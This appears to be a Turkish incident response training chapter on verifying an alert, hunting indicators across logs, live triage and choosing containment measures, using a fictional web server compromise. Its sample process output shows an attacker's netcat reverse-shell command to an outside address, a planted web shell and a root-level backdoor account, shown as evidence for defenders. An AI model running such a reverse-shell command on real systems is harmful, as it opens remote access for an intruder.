Tespit ve sınırlama

Alarm geldi. İlk yarım saatte verdiğin kararlar olayın büyüklüğünü belirler. web01 örneği üzerinden ilerleyeceksin. Altay Kargo'nun kargo takip sayfasını yayınlayan web01'de, EDR (uç nokta tespit ve müdahale aracı) gece 03:15'te şüpheli bir süreç bildirdi.

Önce alarmın gerçek olup olmadığını doğrulayacaksın. Sonra olayın başka hangi makinelere uzandığını bulacaksın. Ardından makineye dokunmadan bilgi toplamayı ve doğru sınırlama seçeneğini seçmeyi öğreneceksin. Her adımda aynı iki soruyu soracaksın: bu hamle yayılmayı durduruyor mu, delili koruyor mu?

Tespit aşaması bir soruyla başlar: bu alarm gerçek mi? Doğrulamadan sınırlamaya geçersen, yanlış alarm yüzünden üretim sunucusunu kapatabilirsin. Doğrulama uzun sürmez, çünkü ne arayacağını bilirsin.

NIST SP 800-61 Rev. 3 bu adımı RS.MA-02 sonucunda anlatır: yeni bir olay bildirimini önce ön incelemeden geçir, olayın gerçekten yaşandığını doğrula, sonra önemini ve aciliyetini tahmin et. Bunun için altı soru sor.

Ne oldu? Nerede, hangi makinede? Ne zaman başladı? Kim, hangi hesapla?

Nasıl, hangi yoldan? Ne kadar geniş, başka nereye uzandı? İlk beş soru bu makineyi anlatır. Altıncı soru olayın gerçek büyüklüğünü verir ve en sık atlanan sorudur.

web01 örneğinde doğrulama üç adımdır. Alarmı üreten satırı bul. O satırın kaynağını başka bir kayıtta teyit et. Sonra makinede karşılığını ara.

Sıra önemlidir: önce alarmı üreten kayıt, sonra bağımsız ikinci kayıt, en son makinenin kendisi. Sıra tersine dönerse makineye önce dokunmuş olursun ve delili kendi elinle bozma riski doğar.

Doğrulamanın değeri hızındadır, derinliğinde değil; bu üç adım eğitimle birkaç dakikaya iner. Tek kaynak yanılabilir, bozulabilir ya da saldırgan onu değiştirmiş olabilir. İki bağımsız kaydın aynı anı ve aynı adresi göstermesi, kararını savunulabilir kılar.

# 1. Alarmı üreten satır
$ grep 'uploads/up.php' /var/log/nginx/access.log
198.51.100.77 - - [14/Sep/2026:03:04:55 +0300] "POST /uploads/up.php HTTP/1.1" 200 34 "-" "Mozilla/5.0"
198.51.100.77 - - [14/Sep/2026:03:15:40 +0300] "POST /uploads/up.php HTTP/1.1" 200 88 "-" "Mozilla/5.0"

# 2. Aynı adresi güvenlik duvarında teyit et
$ grep '198.51.100.77' /var/log/firewall.log | tail -2
2026-09-14T03:15:40+03:00 ALLOW TCP 198.51.100.77:50871 -> 10.10.5.21:443
2026-09-14T03:15:41+03:00 ALLOW TCP 10.10.5.21:41822 -> 198.51.100.77:4444

# 3. Makinede dosyanın karşılığı
$ stat -c '%w | %y | %s bayt | %U' /var/www/altaykargo/uploads/up.php
2026-09-14 03:04:52.197551020 +0300 | 2026-09-14 03:04:52.198004511 +0300 | 1432 bayt | www-data

Çıktıyı oku. Web logunda iki satır var: 03:04:55'te up.php dosyasına bir POST isteği gitmiş ve 200 dönmüş, 03:15:40'ta aynı dosya yeniden çağrılmış. Güvenlik duvarı kaydı ikinci, bağımsız kaynaktır ve daha fazlasını söyler. Aynı adres 03:15:40'ta web01'e gelmiş.

Bir saniye sonra web01, o adresin 4444 numaralı portuna bağlantı açmış. stat çıktısı dosyanın 03:04:52'de, www-data sahipliğiyle oluştuğunu gösterir.

Üç kaynak aynı adresi ve aynı saat aralığını gösteriyor. Alarm artık doğrulanmış bir olaydır. Karar istemeden önce bu üç satırı olay kaydına yaz.

Doğrulanan olay tek makineyle sınırlı mı? Bunu IOC ile av yaparak bulursun. IOC (indicator of compromise, ihlal göstergesi), saldırının bıraktığı somut izdir: adres, dosya özeti (hash), hesap adı, alan adı.

Elindeki her IOC'yi bütün kaynaklarda ararsın. Aynı adres başka sunucuya da uğramış mı? Aynı özet başka diskte var mı? Aynı hesap başka makinede oturum açmış mı?

Rev. 3 bu adımı RS.AN-08 altında ayrıca vurgular: izleri yalnız hedef olduğu bilinen varlıklarda değil, olası diğer hedeflerde de ara. Bu adımı atlamak olayı olduğundan küçük gösterir ve saldırı başka makinelerde fark edilmeden sürer. Aşağıdaki Splunk sorgusu saldırganın adresini otuz günlük kayıtta arar.

(index=network OR index=web OR index=linux)
    (src_ip=198.51.100.77 OR dest_ip=198.51.100.77) earliest=-30d
| stats min(_time) as ilk max(_time) as son values(host) as hostlar count as olay by sourcetype
| eval ilk=strftime(ilk, "%F %T"), son=strftime(son, "%F %T")

sourcetype    ilk                  son                  hostlar        olay
------------  -------------------  -------------------  -------------  ----
fw:traffic    2026-09-14 03:02:11  2026-09-14 03:46:02  fw01            655
nginx:access  2026-09-14 03:02:11  2026-09-14 03:41:09  mail01 web01    431
linux_secure  2026-09-14 03:10:44  2026-09-14 03:12:51  web01           238

Sorguyu satır satır oku. İlk satır yalnız üç indeksi tarar. index=* yazmak kolaydır ama bütün veriyi okur; büyük ortamda sorgu dakikalarca sürer ve arama kotasını tüketir. earliest=-30d zaman aralığını otuz günle sınırlar.

stats, her kaynak türü (sourcetype) için ayrı bir satır üretir: ilk ve son görülme, adresin göründüğü makineler ve olay sayısı. eval satırı zaman damgasını okunur tarihe çevirir. Sonuç iki şey söyler.

Birincisi, hostlar sütununda mail01 de var: adres posta sunucusunun web arayüzüne de istek atmış ve kapsam iki makineye çıkmış. İkincisi, linux_secure satırı web01'de iki dakikalık yoğun bir SSH denemesi gösteriyor. Sıradaki sorgu hesap adıyla yapılır: bu adresten giriş yapan mkaya başka nerede görüldü?

Kapsam avı tek IOC ile bitmez. Adres en zayıf göstergedir; saldırgan onu dakikalar içinde değiştirebilir. Bu yüzden her yeni izle aramayı tekrarlarsın. web01'de hesap araması iki şey gösterir: mkaya yalnız web01'de oturum açmış, ama aynı dakikalarda svc_update adında yeni bir hesap doğmuş.

Dosya özetiyle yapılan arama da up.php'nin başka sunucuda olmadığını söyler. Her aramanın sonucunu, boş çıksa bile olay kaydına yaz. Boş sonuç da bir bulgudur: nereye baktığını ve orada iz olmadığını kanıtlar. Tek IOC'ye bakıp kapsamı dar sanmak, bu aşamanın en pahalı hatasıdır.

# src_ip=203.0.113.50 taşıyan ham kayıtlar
host=web02  sourcetype=nginx:access  03:10:05
host=web02  sourcetype=nginx:access  03:12:30
host=vpn01  sourcetype=vpn:auth      03:31:18
host=vpn01  sourcetype=vpn:auth      03:58:02

# Sorgu
src_ip=203.0.113.50
| stats min(_time) as ilk values(host) as hostlar count as olay by sourcetype

Kapsamı bildikten sonra makinenin o anki durumuna bakarsın: hangi süreçler çalışıyor, kim kime bağlı? Bu canlı triyajdır ve kuralı tektir: yalnız oku, hiçbir şeyi değiştirme. Süreç öldürme, dosya silme, paket kurma yok. RFC 3227 bir adım daha ileri gider: sistemdeki programlara güvenme, araçlarını korumalı bir ortamdan çalıştır.

Her komutun çıktısını tee ile delil diskine yaz. Oturumun başında script -a komutunu başlatırsan yazdığın her şey ve çıktısı da kayda geçer; bu kayıt senin izindir. Aşağıda web01'de çalışan üç komut var.

$ script -a /mnt/delil/web01_oturum.txt
$ sudo ss -tnp | tee -a /mnt/delil/web01_triyaj.txt
State  Recv-Q Send-Q  Local Address:Port    Peer Address:Port  Process
ESTAB  0      0          10.10.5.21:22    198.51.100.77:50112 users:(("sshd",pid=23041,fd=4))
ESTAB  0      0          10.10.5.21:41822 198.51.100.77:4444  users:(("nc",pid=23188,fd=3))
ESTAB  0      0          10.10.5.21:443      10.10.8.14:52210 users:(("nginx",pid=812,fd=17))

$ ps -eo pid,ppid,user,lstart,cmd --forest | tee -a /mnt/delil/web01_triyaj.txt
  PID  PPID USER     STARTED                  CMD
  901     1 root     Sun Sep 13 09:00:05 2026 php-fpm: master process
  905   901 www-data Sun Sep 13 09:00:05 2026  \_ php-fpm: pool www
23187   905 www-data Mon Sep 14 03:15:41 2026      \_ sh -c /tmp/nc 198.51.100.77 4444
23188 23187 www-data Mon Sep 14 03:15:41 2026          \_ /tmp/nc 198.51.100.77 4444

$ sudo ls -la /proc/23188/exe | tee -a /mnt/delil/web01_triyaj.txt
lrwxrwxrwx 1 www-data www-data 0 Sep 14 03:36 /proc/23188/exe -> /tmp/nc (deleted)

ss satırlarında yerel adres web01'in kendisi, karşı adres bağlantının öteki ucudur. İlk satır 22 numaralı porttan açık bir SSH oturumudur ve karşı taraf saldırganın adresidir. İkinci satır daha kritiktir: nc adlı süreç dışarıya, 4444 numaralı porta bağlanmış.

Üçüncü satır iç ağdan gelen olağan web trafiğidir. ps çıktısında süreç ağacını izle. PHP işçisi (www-data) bir kabuk başlatmış, kabuk da nc'yi çalıştırmış.

Web sunucusunun kabuk doğurması web kabuğunun en güçlü işaretidir. /tmp ya da /dev/shm gibi geçici dizinlerden çalışan ikili de şüphelidir. Son satırdaki (deleted), ikilinin diskten silindiğini söyler: saldırgan izini silmiş, ama süreç bellekte çalışmaya devam ediyor.

PS C:\> hostname
muh-pc07

PS C:\> Get-NetTCPConnection -State Established |
>>   Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess

LocalAddress LocalPort RemoteAddress RemotePort OwningProcess
------------ --------- ------------- ---------- -------------
10.20.30.51      49811 203.0.113.45         443          6120

PS C:\> Get-CimInstance Win32_Process -Filter "ProcessId=6120" |
>>   Select-Object ProcessId,ParentProcessId,CommandLine

ProcessId ParentProcessId CommandLine
--------- --------------- -----------
     6120             884 C:\Users\Public\guncel.exe

Aynı soruları Windows'ta PowerShell ile sorarsın. Get-NetTCPConnection kurulu bağlantıları ve her bağlantının sahibi olan süreç numarasını verir. Get-CimInstance ile o sürecin komut satırına ve üst sürecine bakarsın. Örnekteki muh-pc07'de 6120 numaralı süreç, herkesin yazabildiği Public klasöründen çalışıyor ve dışarıya 443 numaralı porttan bağlanıyor.

Üst süreç numarasını da aynı yolla sorgula. Zamanlanmış görevleri çalıştıran hizmet çıkarsa bir kalıcılık kaydı ara. Uç noktada EDR varsa bu soruların çoğunu konsoldan, makineye oturum açmadan sorarsın ve kendi izini en aza indirirsin.

Sınırlama, saldırganın hareket alanını daraltmaktır. Amaç temizlemek değildir, yayılmayı durdurmaktır. Bu iki işi karıştırmak yaygın hatadır: önce kanamayı durdurursun, sonra ameliyata girersin. Sınırlamanın iki vadesi vardır.

Kısa vadeli sınırlama dakikalar içinde yapılır ve geçicidir: ağ izolasyonu, adres engeli, hesap kilidi. Uzun vadeli sınırlama, temizlik hazırlanırken işi sürdürür: geçici bir yedek sunucu, sıkılaştırılmış kurallar, izlenen bir karantina bölümü. Rev. 3 önlemin süresini de bir karar ölçütü olarak sayar: saatler içinde kaldırılacak acil bir çözüm mü, iki hafta duracak geçici bir önlem mi, kalıcı bir çözüm mü?

Seçenek                              Hız        Geri alma  Delile etkisi   Fark edilme
-----------------------------------  ---------  ---------  --------------  -----------
EDR ile ağ izolasyonu                saniyeler  kolay      belleği korur   orta
Karantina VLAN'ı ya da anahtar ACL   dakikalar  kolay      belleği korur   orta
Güvenlik duvarında adres engeli      dakikalar  kolay      etkisiz         orta
DNS ya da vekil engeli (sinkhole)    dakikalar  kolay      etkisiz         orta
Hesap kilidi ve oturum sonlandırma   dakikalar  orta       etkisiz         yüksek
Parola, anahtar, belirteç yenileme   saatler    zor        etkisiz         yüksek
Uygulama ucunu kapatma               dakikalar  kolay      etkisiz         orta
Makineyi kapatma                     saniyeler  zor        belleği siler   yüksek

Tabloyu dört sütunla oku. Hız, önlemin ne kadar sürede devreye girdiğidir. Geri alma, yanlış karar verdiysen ne kadar kolay döneceğini söyler.

Delile etki sütunu en kritiğidir. Makineyi kapatmak belleği siler: çalışan zararlı, komuta sunucusunun adresi, çözülmüş parolalar ve açık bağlantılar diske hiç yazılmaz ve kaybolur. Ağ izolasyonu ise hem yayılmayı keser hem belleği korur.

EDR izolasyonu bunu en hızlı yapar; bütün trafiği keser, yalnız EDR'nin kendi yönetim kanalını açık bırakır. Son sütun saldırganın fark etme ihtimalidir. RFC 3227 bir uyarı da ekler: bazı zararlılar ağdan koptuğunu anlayınca delil silecek biçimde tetiklenir. Bu risk yüksekse bellek görüntüsünü izolasyondan önce almayı değerlendir.

Bu hamlelerin savunma dilinde adları vardır. MITRE'nin D3FEND bilgi tabanı, ATT&CK'teki saldırı tekniklerinin karşısına savunma tekniklerini koyar. Ağdan koparma, Yalıt (Isolate) taktiği altında Ağ Yalıtımı (D3-NI) olarak geçer.

Hesap kilitleme (D3-AL) ve oturum sonlandırma (D3-ST) ise Çıkar (Evict) taktiğindedir. Raporda bu adları kullanırsan, başka ekipler yaptığın işi aynı anlamda okur ve hangi saldırı adımını hangi hamleyle kestiğini eşleyebilir. D3FEND adları, raporlama dersinde kuracağın ATT&CK eşlemesinin savunma tarafını oluşturur.

Sınırlamanın ikinci ayağı kimliktir. Saldırgan bir hesabı ele geçirdiyse yalnız makineyi kesmek yetmez; çalınan kimlik başka makinede aynı yetkiyle çalışmaya devam eder. Kimlik sınırlamasının bir inceliği de vardır: parolayı sıfırlamak açık oturumları her zaman düşürmez. Linux'ta passwd komutu çalışan SSH oturumuna dokunmaz; authorized_keys dosyasındaki anahtar da yerinde kalır.

usermod -L yalnız parola girişini kilitler; kılavuz sayfası hesabı tümden kilitlemek için son kullanma tarihini de 1'e çekmeyi söyler. Bulut kimliklerinde de verilmiş belirteçler süreleri dolana kadar çalışabilir. Bu yüzden üç işi ayrı yaparsın: hesabı kilitle, açık oturumları sonlandır, anahtar ve belirteçleri iptal et. web01'de saldırgan mkaya ile girdikten sonra UID 0 taşıyan svc_update hesabını da açmıştı; yalnız mkaya'yı kilitlemek o kapıyı açık bırakırdı.

Sınırlama kararı iş etkisiyle birlikte alınır. Kesintinin maliyetini iş birimi bilir, riski sen bilirsin. Karar ikisinin ortak cümlesi olmalı. Tek taraflı verilen karar sonradan geri alınır ve ikinci kez zaman kaybedilir.

Sınırlamanın üçüncü ayağı iletişimdir. Sistem sahibi bilgilendirilir, yönetim haberdar edilir, her adım kayda geçer. Bu adımı atlamak teknik sorun çıkarmaz, ama olayı çözen ekibi kurumsal olarak zor duruma düşürür. Panikleyen bir sistem sahibine gerekçeyi tek cümleyle ver: makineyi kapatmıyoruz, çünkü delil bellekte.

Saldırganı uyarmamaya çalış. Ani ve görünür hamleler karşı tarafı hızlandırabilir; saldırgan sınırlama bitmeden başka makineye geçer. CISA'nın federal oyun kitapları iki somut öneri yapar: şüpheli dosyayı herkese açık analiz servislerine yükleme, etkilenen kullanıcıyı e-postayla değil telefonla ara.

Bazı durumlarda kısa süreli sessiz izleme daha çok bilgi verir. Rev. 3 bu seçeneğin tehlikesini açık yazar: bilerek geciktirilen sınırlama sırasında saldırgan yetkisini büyütebilir ya da başka sistemlere geçebilir. Bu yüzden karar yalnız kapsam belliyken, hukukla konuşularak ve yazılı onayla alınır.

Sınırlamadan sonra doğrula. Bağlantı gerçekten kesildi mi, oturumlar düştü mü, kimlik yenilendi mi? web01 için üç şeyi görmen gerekir.

Güvenlik duvarında 4444 numaralı porta giden trafik durmalı. ss çıktısında saldırganın adresi kalmamalı. mkaya ile svc_update hesaplarının yeni giriş denemeleri de reddedilmeli.

Yapıldığı varsayılan ama doğrulanmayan adım, olay kapandıktan sonra en sık geri dönen hatadır. Sınırlama ile temizlemeyi de ayrı tut. Web kabuğu dosyası hem delil hem kök nedene giden ipucudur. Sınırlamada dosyanın önce kopyasını ve özet (hash) değerini alırsın; silme işi temizleme aşamasına kalır.